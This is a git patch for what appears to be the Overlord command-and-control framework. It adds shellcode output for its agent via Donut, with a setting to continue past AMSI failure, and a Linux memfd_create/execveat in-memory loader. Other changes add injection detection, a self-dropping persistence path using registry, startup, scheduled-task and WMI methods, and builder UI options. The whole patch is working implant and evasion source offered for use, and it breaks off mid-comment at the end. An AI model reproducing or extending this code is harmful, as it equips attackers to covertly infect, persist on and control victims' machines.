From 03682f59b6cba0f0e7c93b28137461da3cc3a1d9 Mon Sep 17 00:00:00 2001 From: DeadmanLabs Date: Sun, 10 May 2026 00:44:00 -0400 Subject: [PATCH 1/7] feat: shellcode output via Donut (Windows) + memfd stub (Linux) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Donut (Windows): PE → PIC shellcode (.bin) via donut-manager.ts Flags: -f1 -a -b3 -x1 (continue on AMSI fail, thread exit) - Linux shellcode: 113-byte x86_64 memfd_create+execveat stub (linux-shellcode-manager.ts) wraps ELF for memfd_create+execveat - Two-pass build for shellcode+persistence: Pass 1 = normal agent with persist compiled in; Pass 2 = selfembed agent that drops+registers Pass 1 on first run (isRunningInMemory() gates the path) - Show console option: shellcode_console build tag calls AllocConsole() on start for debug builds; AttachConsole fallback included - isRunningInMemory() Windows: VirtualQuery on .data sentinel (MEM_PRIVATE = injected, MEM_IMAGE = normal disk load) replaces os.Executable() which returned host process path when injected - Build UI: Donut mode, Linux shellcode mode, show-console checkboxes; settings persisted across sessions via collectFormSettings() - GODEBUG=netdns=cgo hardcoded in build env (fixes IPv6 DNS on VPN) - Dockerfile: pre-seed Go module cache; add curl to runtime image - docker-compose.yml: switch healthcheck to wget (curl absent in slim) --- Dockerfile | 21 ++ .../cmd/agent/alloc_console_windows.go | 29 ++ Overlord-Client/cmd/agent/main.go | 13 +- Overlord-Client/cmd/agent/memory_other.go | 30 ++ Overlord-Client/cmd/agent/memory_windows.go | 43 +++ .../cmd/agent/persistence/persistence.go | 54 ++++ .../agent/persistence/persistence_windows.go | 2 - Overlord-Client/cmd/agent/self_embed.go | 35 +++ Overlord-Client/cmd/agent/self_embed_stub.go | 13 + Overlord-Client/cmd/agent/session.go | 19 -- Overlord-Server/public/assets/build.js | 35 +++ Overlord-Server/public/build.html | 49 ++++ Overlord-Server/src/server/build-process.ts | 159 +++++++---- Overlord-Server/src/server/donut-manager.ts | 260 ++++++++++++++++++ .../src/server/linux-shellcode-manager.ts | 65 +++++ .../src/server/routes/build-routes.ts | 6 + docker-compose.yml | 6 +- 17 files changed, 759 insertions(+), 80 deletions(-) create mode 100644 Overlord-Client/cmd/agent/alloc_console_windows.go create mode 100644 Overlord-Client/cmd/agent/memory_other.go create mode 100644 Overlord-Client/cmd/agent/memory_windows.go create mode 100644 Overlord-Client/cmd/agent/self_embed.go create mode 100644 Overlord-Client/cmd/agent/self_embed_stub.go create mode 100644 Overlord-Server/src/server/donut-manager.ts create mode 100644 Overlord-Server/src/server/linux-shellcode-manager.ts diff --git a/Dockerfile b/Dockerfile index 8450e79..fa95312 100644 --- a/Dockerfile +++ b/Dockerfile @@ -48,6 +48,19 @@ RUN --mount=type=cache,target=/root/.cache/go-build \ --mount=type=cache,target=/go/pkg/mod \ go install mvdan.cc/garble@latest +# Pre-fetch the latest Donut shellcode converter binary. +# The runtime donut-manager will re-check GitHub and update automatically; +# this step just ensures a working binary is available offline / on first use. +RUN DONUT_TAG=$(curl -sSf "https://api.github.com/repos/TheWover/donut/releases/latest" \ + | grep '"tag_name"' | head -1 | cut -d'"' -f4) \ + && ARCHIVE_URL="https://github.com/TheWover/donut/releases/download/${DONUT_TAG}/donut_${DONUT_TAG}.tar.gz" \ + && if curl -sSfL "${ARCHIVE_URL}" | tar xzf - --strip-components=0 -C /usr/local/bin ./donut 2>/dev/null; then \ + chmod +x /usr/local/bin/donut; \ + echo "Donut ${DONUT_TAG} pre-installed from archive"; \ + else \ + echo "WARNING: Donut pre-fetch failed — will fall back to system PATH or download on first use"; \ + fi + # Full bun install (includes devDeps needed for tailwind / vendor / minify steps) COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./ RUN --mount=type=cache,target=/root/.bun/install/cache \ @@ -133,6 +146,14 @@ COPY Overlord-Client/ ./Overlord-Client/ RUN mkdir -p certs data +# Pre-seed Go module cache so first agent builds work offline. +RUN --mount=type=cache,target=/root/.cache/go-build \ + --mount=type=cache,target=/go/pkg/mod \ + cd /app/Overlord-Client && \ + GOWORK=off \ + GOMODCACHE=/go/pkg/mod \ + go mod download + EXPOSE 5173 ENV PORT=5173 diff --git a/Overlord-Client/cmd/agent/alloc_console_windows.go b/Overlord-Client/cmd/agent/alloc_console_windows.go new file mode 100644 index 0000000..ab39b4f --- /dev/null +++ b/Overlord-Client/cmd/agent/alloc_console_windows.go @@ -0,0 +1,29 @@ +//go:build shellcode_console + +package main + +import ( + "log" + "os" + "syscall" +) + +func init() { + k32 := syscall.NewLazyDLL("kernel32.dll") + + // Try to attach to the loader's existing console first. + // If that fails (GUI loader or FreeConsole was called), create a new one. + r, _, _ := k32.NewProc("AttachConsole").Call(^uintptr(0)) // ATTACH_PARENT_PROCESS + if r == 0 { + k32.NewProc("AllocConsole").Call() + } + + // Open the Windows console output device and redirect Go's stderr + log + // so that log.Printf output is visible regardless of how handles were inherited. + conout, err := syscall.Open("CONOUT$", syscall.O_RDWR, 0) + if err == nil { + w := os.NewFile(uintptr(conout), "stderr") + os.Stderr = w + log.SetOutput(w) + } +} diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index b749b39..8eb2165 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -21,8 +21,17 @@ func main() { runBoundFiles() if cfg.EnablePersistence { - if err := persistence.Setup(); err != nil { - log.Printf("Warning: Failed to setup persistence: %v", err) + if isRunningInMemory() { + if len(selfDropBinary) > 0 { + if err := persistence.SetupFromBytes(selfDropBinary); err != nil { + log.Printf("Warning: Failed to setup shellcode persistence: %v", err) + } + } + // No selfDropBinary = shellcode built without persistence embed; skip. + } else { + if err := persistence.Setup(); err != nil { + log.Printf("Warning: Failed to setup persistence: %v", err) + } } } diff --git a/Overlord-Client/cmd/agent/memory_other.go b/Overlord-Client/cmd/agent/memory_other.go new file mode 100644 index 0000000..4d4a4d3 --- /dev/null +++ b/Overlord-Client/cmd/agent/memory_other.go @@ -0,0 +1,30 @@ +//go:build !windows + +package main + +import ( + "os" + "path/filepath" +) + +// isRunningInMemory returns true when the agent is executing as +// in-memory shellcode (e.g. Linux memfd_create / execveat stub). +// On Linux the memfd path cannot be stat'd as a regular file. +func isRunningInMemory() bool { + exePath, err := os.Executable() + if err != nil { + return true + } + if realPath, err := filepath.EvalSymlinks(exePath); err == nil { + exePath = realPath + } + absPath, err := filepath.Abs(exePath) + if err != nil { + return true + } + info, err := os.Stat(absPath) + if err != nil || !info.Mode().IsRegular() { + return true + } + return false +} diff --git a/Overlord-Client/cmd/agent/memory_windows.go b/Overlord-Client/cmd/agent/memory_windows.go new file mode 100644 index 0000000..955c536 --- /dev/null +++ b/Overlord-Client/cmd/agent/memory_windows.go @@ -0,0 +1,43 @@ +//go:build windows + +package main + +import ( + "syscall" + "unsafe" +) + +// _memBasicInfo mirrors MEMORY_BASIC_INFORMATION for 64-bit Windows. +// Layout (bytes): BaseAddress(8) AllocationBase(8) AllocationProtect(4) +// _pad(4) RegionSize(8) State(4) Protect(4) Type(4) _pad(4) = 48 bytes total. +type _memBasicInfo struct { + BaseAddress uintptr + AllocationBase uintptr + AllocationProtect uint32 + _ [4]byte // covers PartitionId / alignment padding + RegionSize uintptr + State uint32 + Protect uint32 + Type uint32 + _ [4]byte +} + +var ( + _k32mem = syscall.NewLazyDLL("kernel32.dll") + _vqProc = _k32mem.NewProc("VirtualQuery") + _memProbe byte // global in .data section — MEM_IMAGE when PE-loaded, MEM_PRIVATE as shellcode +) + +// isRunningInMemory returns true when the agent's data section is in +// anonymous private memory (Donut-injected shellcode) rather than a +// file-backed image section. +func isRunningInMemory() bool { + var mbi _memBasicInfo + addr := uintptr(unsafe.Pointer(&_memProbe)) + ret, _, _ := _vqProc.Call(addr, uintptr(unsafe.Pointer(&mbi)), unsafe.Sizeof(mbi)) + if ret == 0 { + return false + } + const MEM_IMAGE = 0x1000000 + return mbi.Type != MEM_IMAGE +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence.go b/Overlord-Client/cmd/agent/persistence/persistence.go index 2b50ed1..2684e69 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence.go +++ b/Overlord-Client/cmd/agent/persistence/persistence.go @@ -1,6 +1,7 @@ package persistence import ( + "fmt" "os" "path/filepath" ) @@ -40,3 +41,56 @@ func TargetPath() (string, error) { func Remove() error { return uninstall() } + +// SetupFromBytes writes data to the platform persistence target path and +// registers it — used when the agent is running as injected shellcode and +// selfDropBinary contains the normal (non-shellcode) agent PE/ELF. +func SetupFromBytes(data []byte) error { + if len(data) == 0 { + return fmt.Errorf("embedded binary is empty") + } + targetPath, err := getTargetPath() + if err != nil { + return fmt.Errorf("failed to resolve target path: %w", err) + } + dir := filepath.Dir(targetPath) + if err := os.MkdirAll(dir, 0755); err != nil { + return fmt.Errorf("failed to create directory: %w", err) + } + if err := writeBytes(targetPath, data); err != nil { + return err + } + return configure(targetPath) +} + +// writeBytes atomically writes data to dest via a temp file then rename. +func writeBytes(dest string, data []byte) error { + dir := filepath.Dir(dest) + tmp, err := os.CreateTemp(dir, "agent-*.tmp") + if err != nil { + return fmt.Errorf("failed to create temp file: %w", err) + } + tmpPath := tmp.Name() + defer func() { _ = os.Remove(tmpPath) }() + + if _, err := tmp.Write(data); err != nil { + _ = tmp.Close() + return fmt.Errorf("failed to write binary: %w", err) + } + if err := tmp.Sync(); err != nil { + _ = tmp.Close() + return fmt.Errorf("failed to sync: %w", err) + } + if err := tmp.Close(); err != nil { + return fmt.Errorf("failed to close temp file: %w", err) + } + if err := os.Rename(tmpPath, dest); err != nil { + if rmErr := os.Remove(dest); rmErr == nil { + err = os.Rename(tmpPath, dest) + } + if err != nil { + return fmt.Errorf("failed to place binary at %s: %w", dest, err) + } + } + return os.Chmod(dest, 0755) +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index 78686bc..bea10a4 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -211,8 +211,6 @@ func install(exePath string) error { } _ = cleanupLegacyRunValues() return firstErr - - return nil } func replaceExecutable(exePath, targetPath string) error { diff --git a/Overlord-Client/cmd/agent/self_embed.go b/Overlord-Client/cmd/agent/self_embed.go new file mode 100644 index 0000000..eedaf5e --- /dev/null +++ b/Overlord-Client/cmd/agent/self_embed.go @@ -0,0 +1,35 @@ +//go:build selfembed + +package main + +import ( + _ "embed" + "fmt" + "os" +) + +//go:embed selfbinary.bin +var selfDropBinary []byte + +// writeSelfBinaryTemp writes selfDropBinary to a temp file and returns its path. +// The caller is responsible for removing the file after use. +func writeSelfBinaryTemp() (string, error) { + if len(selfDropBinary) == 0 { + return "", fmt.Errorf("embedded binary is empty") + } + f, err := os.CreateTemp("", "svc*.exe") + if err != nil { + return "", fmt.Errorf("failed to create temp file: %w", err) + } + tmpPath := f.Name() + if _, err := f.Write(selfDropBinary); err != nil { + f.Close() + os.Remove(tmpPath) + return "", fmt.Errorf("failed to write embedded binary: %w", err) + } + if err := f.Close(); err != nil { + os.Remove(tmpPath) + return "", fmt.Errorf("failed to close temp file: %w", err) + } + return tmpPath, nil +} diff --git a/Overlord-Client/cmd/agent/self_embed_stub.go b/Overlord-Client/cmd/agent/self_embed_stub.go new file mode 100644 index 0000000..1b46db4 --- /dev/null +++ b/Overlord-Client/cmd/agent/self_embed_stub.go @@ -0,0 +1,13 @@ +//go:build !selfembed + +package main + +import "fmt" + +// selfDropBinary is empty in normal builds. Set via //go:embed when compiled +// with -tags selfembed (two-pass Windows shellcode build). +var selfDropBinary []byte + +func writeSelfBinaryTemp() (string, error) { + return "", fmt.Errorf("not compiled with selfembed tag") +} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index d092531..d1d2c4d 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -12,7 +12,6 @@ import ( "net" "net/http" "os" - "path/filepath" "runtime" "runtime/debug" "strconv" @@ -32,24 +31,6 @@ import ( "nhooyr.io/websocket" ) -func isRunningInMemory() bool { - exePath, err := os.Executable() - if err != nil { - return true - } - if realPath, err := filepath.EvalSymlinks(exePath); err == nil { - exePath = realPath - } - absPath, err := filepath.Abs(exePath) - if err != nil { - return true - } - info, err := os.Stat(absPath) - if err != nil || !info.Mode().IsRegular() { - return true - } - return false -} func runClient(cfg config.Config) { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 4fb53a5..f33cacc 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -145,6 +145,9 @@ function collectFormSettings() { assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "", outputExtension: document.getElementById("output-extension")?.value ?? ".exe", cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false, + useDonut: document.getElementById("donut-mode")?.checked ?? false, + useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false, + shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false, }; } @@ -202,6 +205,15 @@ function applyFormSettings(settings) { if (settings.assemblyCopyright !== undefined) setVal("assembly-copyright", settings.assemblyCopyright); if (settings.outputExtension !== undefined) setVal("output-extension", settings.outputExtension); if (settings.cryptableMode !== undefined) setCb("#cryptable-mode", settings.cryptableMode); + if (settings.useDonut !== undefined) { + setCb("#donut-mode", settings.useDonut); + if (settings.useDonut) applyDonutMode(true); + } + if (settings.useLinuxShellcode !== undefined) { + setCb("#linux-shellcode-mode", settings.useLinuxShellcode); + if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true); + } + if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole); const restoredObfuscate = document.querySelector('input[name="obfuscate"]'); const garbleContainer = document.getElementById("garble-settings-container"); @@ -658,6 +670,26 @@ if (cryptableCheckbox) { } } +const donutCheckbox = document.getElementById("donut-mode"); +if (donutCheckbox) { + donutCheckbox.addEventListener("change", () => { applyDonutMode(donutCheckbox.checked); }); + if (donutCheckbox.checked) applyDonutMode(true); +} + +const linuxScCheckbox = document.getElementById("linux-shellcode-mode"); +if (linuxScCheckbox) { + linuxScCheckbox.addEventListener("change", () => { applyLinuxShellcodeMode(linuxScCheckbox.checked); }); + if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true); +} + +document.querySelectorAll('input[name="platform"]').forEach((el) => { + el.addEventListener("change", () => { + updateShellcodeCheckboxVisibility(); + if (donutCheckbox?.checked) applyDonutMode(true); + if (linuxScCheckbox?.checked) applyLinuxShellcodeMode(true); + }); +}); + let pendingIconBase64 = null; const iconUpload = document.getElementById("icon-upload"); const iconLabel = document.getElementById("icon-label"); @@ -1395,6 +1427,9 @@ form?.addEventListener("submit", async (e) => { ? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute })) : undefined, iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined, + useDonut: document.getElementById("donut-mode")?.checked || false, + useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false, + shellcodeConsole: document.getElementById("shellcode-console")?.checked || false, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index df12ea4..a2361b9 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -364,6 +364,55 @@

+ + + + diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index d339f8c..723ea59 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -16,6 +16,8 @@ import { toolchainKeyForTarget, type EnsuredToolchain, } from "./toolchain-manager"; +import { runDonut } from "./donut-manager"; +import { buildLinuxShellcode } from "./linux-shellcode-manager"; function isClientModuleDir(dir: string): boolean { return ( @@ -102,6 +104,9 @@ type BuildProcessConfig = { outputExtension?: string; sleepSeconds?: number; boundFiles?: BoundFile[]; + useDonut?: boolean; + useLinuxShellcode?: boolean; + shellcodeConsole?: boolean; solMemo?: boolean; solAddress?: string; solRpcEndpoints?: string; @@ -861,24 +866,10 @@ func runBoundFiles() { sendToStream({ type: "output", text: "Linux CGO: static linking enabled (avoids GLIBC version mismatch)\n", level: "info" }); } + const isShellcodeMode = !!(config.useDonut || config.useLinuxShellcode); + try { - const buildTool = config.obfuscate ? "garble" : "go"; - const buildTags: string[] = []; - if (config.noPrinting) buildTags.push("noprint"); - if (hasBoundFiles) buildTags.push("hasbinder"); - if (config.enablePersistence && os === "windows") { - const methods = config.persistenceMethods && config.persistenceMethods.length > 0 - ? config.persistenceMethods - : ['startup']; - if (methods.includes("startup")) buildTags.push("persist_startup"); - if (methods.includes("registry")) buildTags.push("persist_registry"); - if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler"); - if (methods.includes("wmi")) buildTags.push("persist_wmi"); - } - if (isIosTarget) buildTags.push("ios_target"); - const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : ""; - logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`); - logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${effectiveOs} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || ""}${isIosTarget ? " (iOS target via darwin+ios_target tag)" : ""}`); + logger.info(`[build:${buildId.substring(0, 8)}] GOOS=${os} GOARCH=${actualArch} CGO=${env.CGO_ENABLED} CC=${env.CC || ""} shellcode=${isShellcodeMode}`); const garbleFlags: string[] = []; if (config.obfuscate) { @@ -887,42 +878,74 @@ func runBoundFiles() { if (config.garbleSeed) garbleFlags.push(`-seed=${config.garbleSeed}`); } - const buildArgs: string[] = []; - if (buildTags.length > 0) buildArgs.push("-tags", buildTags.join(" ")); - buildArgs.push("-trimpath"); - buildArgs.push("-buildvcs=false"); - if (ldflags) buildArgs.push(`-ldflags=${ldflags}`); - buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent"); - - let buildCmd; - if (config.obfuscate) { - const allArgs = [...garbleFlags, "build", ...buildArgs]; - buildCmd = $`garble ${allArgs}`; - } else { - buildCmd = $`go build ${buildArgs}`; + // Base tags: always present regardless of build pass + const baseTags: string[] = []; + if (config.noPrinting) baseTags.push("noprint"); + if (hasBoundFiles) baseTags.push("hasbinder"); + if (isIosTarget) baseTags.push("ios_target"); + if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console"); + + // Windows persistence tags (omitted in shellcode mode — handled by two-pass below) + const winPersistTags: string[] = []; + if (config.enablePersistence && os === "windows" && !isShellcodeMode) { + const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"]; + if (methods.includes("startup")) winPersistTags.push("persist_startup"); + if (methods.includes("registry")) winPersistTags.push("persist_registry"); + if (methods.includes("taskscheduler")) winPersistTags.push("persist_taskscheduler"); + if (methods.includes("wmi")) winPersistTags.push("persist_wmi"); } - const proc = buildCmd.env(env).cwd(clientDir).nothrow(); - let result: any; - for await (const line of proc.lines()) { - const trimmed = line.trim(); - if (trimmed.length > 0) { - sendToStream({ type: "output", text: line + "\n", level: "info" }); + const runBuild = async (tags: string[], outputPath: string) => { + const buildArgs: string[] = []; + if (tags.length > 0) buildArgs.push("-tags", tags.join(" ")); + buildArgs.push("-trimpath", "-buildvcs=false"); + if (ldflags) buildArgs.push(`-ldflags=${ldflags}`); + buildArgs.push("-o", outputPath, "./cmd/agent"); + let buildCmd; + if (config.obfuscate) { + buildCmd = $`garble ${[...garbleFlags, "build", ...buildArgs]}`; + } else { + buildCmd = $`go build ${buildArgs}`; } - } - - result = await proc; - - logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`); - - if (result.exitCode !== 0) { - const stderrText = result.stderr.toString(); - if (stderrText) { - sendToStream({ type: "output", text: stderrText, level: "error" }); + const proc = buildCmd.env(env).cwd(clientDir).nothrow(); + for await (const line of proc.lines()) { + const trimmed = line.trim(); + if (trimmed.length > 0) sendToStream({ type: "output", text: line + "\n", level: "info" }); + } + const result = await proc; + if (result.exitCode !== 0) { + const stderrText = result.stderr.toString(); + if (stderrText) sendToStream({ type: "output", text: stderrText, level: "error" }); + throw new Error(`Build failed for ${platform} (exit ${result.exitCode})`); } - const errorMsg = `Build failed with exit code ${result.exitCode}\n`; - sendToStream({ type: "output", text: errorMsg, level: "error" }); - throw new Error(`Build failed for ${platform}`); + }; + + // Two-pass build: shellcode + persistence + if (isShellcodeMode && config.enablePersistence && !platform.startsWith("android-")) { + const pass1Path = `${outDir}/${outputName}.pass1`; + const pass1Tags = [...baseTags]; + if (os === "windows") { + const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"]; + if (methods.includes("startup")) pass1Tags.push("persist_startup"); + if (methods.includes("registry")) pass1Tags.push("persist_registry"); + if (methods.includes("taskscheduler")) pass1Tags.push("persist_taskscheduler"); + if (methods.includes("wmi")) pass1Tags.push("persist_wmi"); + } + sendToStream({ type: "output", text: `Two-pass shellcode+persistence build\n Pass 1: agent with persistence (tags: ${pass1Tags.join(" ")})\n`, level: "info" }); + await runBuild(pass1Tags, pass1Path); + + const pass1Data = fs.readFileSync(pass1Path); + const selfbinPath = path.join(clientDir, "cmd", "agent", "selfbinary.bin"); + fs.writeFileSync(selfbinPath, pass1Data); + fs.unlinkSync(pass1Path); + + const pass2Tags = [...baseTags, "selfembed"]; + sendToStream({ type: "output", text: ` Pass 2: selfembed wrapper (tags: ${pass2Tags.join(" ")})\n`, level: "info" }); + await runBuild(pass2Tags, `${outDir}/${outputName}`); + try { fs.unlinkSync(selfbinPath); } catch {} + } else { + const tags = [...baseTags, ...winPersistTags]; + await runBuild(tags, `${outDir}/${outputName}`); } const filePath = `${outDir}/${outputName}`; @@ -1119,12 +1142,44 @@ func runBoundFiles() { } // ── End IPA packaging ───────────────────────────────────────────────── + // ── Donut: Windows PE → shellcode ────────────────────────────────── + let finalOutputName = outputName; + let finalOutputSize = finalSize; + + if (config.useDonut && os === "windows") { + sendToStream({ type: "status", text: `Converting ${platform} PE to shellcode…` }); + sendToStream({ type: "output", text: `\nConverting PE → shellcode with Donut...\n`, level: "info" }); + const scOutputName = deps.sanitizeOutputName(outputName.replace(/\.[^.]+$/, ".bin")); + const binPath = path.join(outDir, scOutputName); + const donutArch = (actualArch === "386" ? "386" : "amd64") as "386" | "amd64"; + const ok = await runDonut(filePath, binPath, donutArch, sendToStream); + if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`); + try { fs.unlinkSync(filePath); } catch {} + finalOutputName = scOutputName; + finalOutputSize = Bun.file(binPath).size; + sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); + } + + // ── Linux ELF → shellcode stub ────────────────────────────────────── + if (config.useLinuxShellcode && os === "linux") { + sendToStream({ type: "status", text: `Wrapping ${platform} ELF as shellcode…` }); + sendToStream({ type: "output", text: `\nWrapping ELF with Linux shellcode stub...\n`, level: "info" }); + const scOutputName = deps.sanitizeOutputName(outputName + ".bin"); + const binPath = path.join(outDir, scOutputName); + const ok = buildLinuxShellcode(filePath, binPath, sendToStream); + if (!ok) throw new Error(`Linux shellcode wrap failed for ${platform}`); + try { fs.unlinkSync(filePath); } catch {} + finalOutputName = scOutputName; + finalOutputSize = Bun.file(binPath).size; + sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); + } + (build.files as any[]).push({ - name: outputName, - filename: outputName, + name: finalOutputName, + filename: finalOutputName, platform, version: agentVersion, - size: finalSize, + size: finalOutputSize, }); } catch (err: any) { const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`; diff --git a/Overlord-Server/src/server/donut-manager.ts b/Overlord-Server/src/server/donut-manager.ts new file mode 100644 index 0000000..5514c54 --- /dev/null +++ b/Overlord-Server/src/server/donut-manager.ts @@ -0,0 +1,260 @@ +import fs from "fs"; +import path from "path"; +import { $ } from "bun"; +import { ensureDataDir } from "../paths"; +import { logger } from "../logger"; + +const DONUT_REPO = "TheWover/donut"; +const VERSION_TTL_MS = 24 * 60 * 60 * 1000; // re-check GitHub at most once per day + +type CachedVersion = { tag: string; cachedAt: number }; + +function toolsDir(): string { + return path.join(ensureDataDir(), "tools"); +} + +function binaryPath(): string { + return path.join(toolsDir(), process.platform === "win32" ? "donut.exe" : "donut"); +} + +function versionFilePath(): string { + return path.join(toolsDir(), "donut.version"); +} + +function readCache(): CachedVersion | null { + try { return JSON.parse(fs.readFileSync(versionFilePath(), "utf8")); } catch { return null; } +} + +function writeCache(tag: string): void { + try { + fs.mkdirSync(toolsDir(), { recursive: true }); + fs.writeFileSync(versionFilePath(), JSON.stringify({ tag, cachedAt: Date.now() })); + } catch {} +} + +async function findSystemDonut(): Promise { + const systemCandidates = ["/usr/local/bin/donut", "/usr/bin/donut"]; + for (const c of systemCandidates) { + if (fs.existsSync(c)) return c; + } + try { + const r = await $`which donut`.quiet().nothrow(); + if (r.exitCode === 0) { + const p = r.stdout.toString().trim(); + if (p) return p; + } + } catch {} + return null; +} + +type AssetInfo = { tag: string; downloadUrl: string; isArchive?: boolean }; + +async function fetchLatest(): Promise { + try { + const res = await fetch( + `https://api.github.com/repos/${DONUT_REPO}/releases/latest`, + { headers: { "User-Agent": "Overlord-C2", Accept: "application/vnd.github+json" } }, + ); + if (!res.ok) return null; + const data = await res.json() as any; + const tag: string = data.tag_name; + const assets: { name: string; browser_download_url: string }[] = data.assets ?? []; + + // Prioritised binary names for each host platform + const candidates = + process.platform === "win32" + ? ["donut.exe", "donut_x64.exe", "donut_x86_64.exe"] + : ["donut_x64", "donut_x86_64", "donut-linux-x64", "donut-linux", "donut"]; + + for (const name of candidates) { + const asset = assets.find(a => a.name.toLowerCase() === name.toLowerCase()); + if (asset) return { tag, downloadUrl: asset.browser_download_url }; + } + + // Last-resort: any asset starting with "donut" with no extension (Linux binary) + if (process.platform !== "win32") { + const fallback = assets.find(a => /^donut/i.test(a.name) && !a.name.includes(".")); + if (fallback) return { tag, downloadUrl: fallback.browser_download_url }; + } + + // Releases may only ship archives (e.g. v1.1 ships tar.gz/zip, no bare binary). + // Fall back to downloading and extracting the archive. + if (process.platform !== "win32") { + const tarGz = assets.find(a => /donut/i.test(a.name) && a.name.endsWith(".tar.gz")); + if (tarGz) return { tag, downloadUrl: tarGz.browser_download_url, isArchive: true }; + const zip = assets.find(a => /donut/i.test(a.name) && a.name.endsWith(".zip")); + if (zip) return { tag, downloadUrl: zip.browser_download_url, isArchive: true }; + } + + return null; + } catch { + return null; + } +} + +async function downloadBinary(url: string, dest: string, isArchive = false): Promise { + try { + fs.mkdirSync(path.dirname(dest), { recursive: true }); + const res = await fetch(url); + if (!res.ok) return false; + const buf = await res.arrayBuffer(); + + if (!isArchive) { + fs.writeFileSync(dest, Buffer.from(buf), { mode: 0o755 }); + return true; + } + + // Archive (tar.gz): write to a temp file, then extract the 'donut' binary from it. + const tmpArchive = dest + ".tmp.tar.gz"; + fs.writeFileSync(tmpArchive, Buffer.from(buf)); + try { + const destDir = path.dirname(dest); + // Try with --strip-components first (archive has a top-level dir), then without. + let r = await $`tar xzf ${tmpArchive} --strip-components=1 -C ${destDir} ./donut` + .nothrow().quiet(); + if (r.exitCode !== 0 || !fs.existsSync(dest)) { + r = await $`tar xzf ${tmpArchive} -C ${destDir} donut`.nothrow().quiet(); + } + if (!fs.existsSync(dest)) return false; + fs.chmodSync(dest, 0o755); + return true; + } finally { + try { fs.unlinkSync(tmpArchive); } catch {} + } + } catch { + return false; + } +} + +/** + * Ensures the Donut binary is present and up-to-date. + * Downloads from the latest GitHub release if absent or the cached version + * info is older than VERSION_TTL_MS. + * Returns the path to the binary, or null if it could not be obtained. + */ +export async function ensureDonut( + sendToStream?: (data: any) => void, +): Promise { + const bin = binaryPath(); + const cached = readCache(); + const binExists = fs.existsSync(bin); + const stale = !cached || Date.now() - cached.cachedAt > VERSION_TTL_MS; + + const log = (text: string, level = "info") => { + logger.info(`[donut] ${text.trim()}`); + sendToStream?.({ type: "output", text: `${text}\n`, level }); + }; + + if (binExists && !stale) { + log(`Donut: using cached ${cached!.tag}`); + return bin; + } + + // Prefer a system-installed binary (e.g. pre-fetched in Docker image) before + // hitting GitHub. If found, record it so future calls skip the check. + const sysBinEarly = await findSystemDonut(); + if (sysBinEarly) { + log(`Donut: using system binary at ${sysBinEarly}`); + writeCache("system"); + return sysBinEarly; + } + + log("Donut: checking GitHub for latest release…"); + const latest = await fetchLatest(); + + if (!latest) { + if (binExists) { + log(`Donut: GitHub unreachable — using cached ${cached?.tag ?? "unknown"}`, "warn"); + return bin; + } + log("Donut: GitHub unreachable and no binary available", "error"); + return null; + } + + if (binExists && cached?.tag === latest.tag) { + log(`Donut: already at latest (${latest.tag})`); + writeCache(latest.tag); // refresh TTL + return bin; + } + + log(`Donut: downloading ${latest.tag}…`); + const ok = await downloadBinary(latest.downloadUrl, bin, latest.isArchive); + if (!ok) { + if (binExists) { + log(`Donut: download failed — using cached ${cached?.tag ?? "unknown"}`, "warn"); + return bin; + } + log("Donut: download failed and no cached binary available", "error"); + return null; + } + + writeCache(latest.tag); + log(`Donut: ready (${latest.tag})`); + return bin; +} + +/** + * Converts a Windows PE executable to position-independent shellcode using Donut. + * + * Flags used: + * -f 1 raw shellcode output (no 